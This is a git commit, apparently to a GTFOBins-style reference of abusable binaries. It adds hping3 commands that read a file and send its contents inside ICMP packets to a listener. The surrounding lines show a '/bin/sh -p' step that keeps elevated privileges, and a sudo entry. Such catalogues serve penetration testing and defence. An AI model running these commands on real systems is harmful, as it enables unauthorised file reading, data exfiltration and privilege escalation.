Fix file-read with hping3

This commit is contained in:
Vivaldo Chagas 2022-09-30 14:02:46 -04:00 committed by GitHub
parent 055ef78280
commit 5bc062321a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -8,6 +8,11 @@ functions:
- code: |
./hping3
/bin/sh -p
file-read:
- description: It is possible to send specific file contents if hping3 has sufficient permission.
- code: |
hping3 --icmp 127.0.0.1 --listen --signature --safe
hping3 --icmp 127.0.0.1 --d 100 --c 2 --sign signature --file ./file.txt
sudo:
- code: |
sudo hping3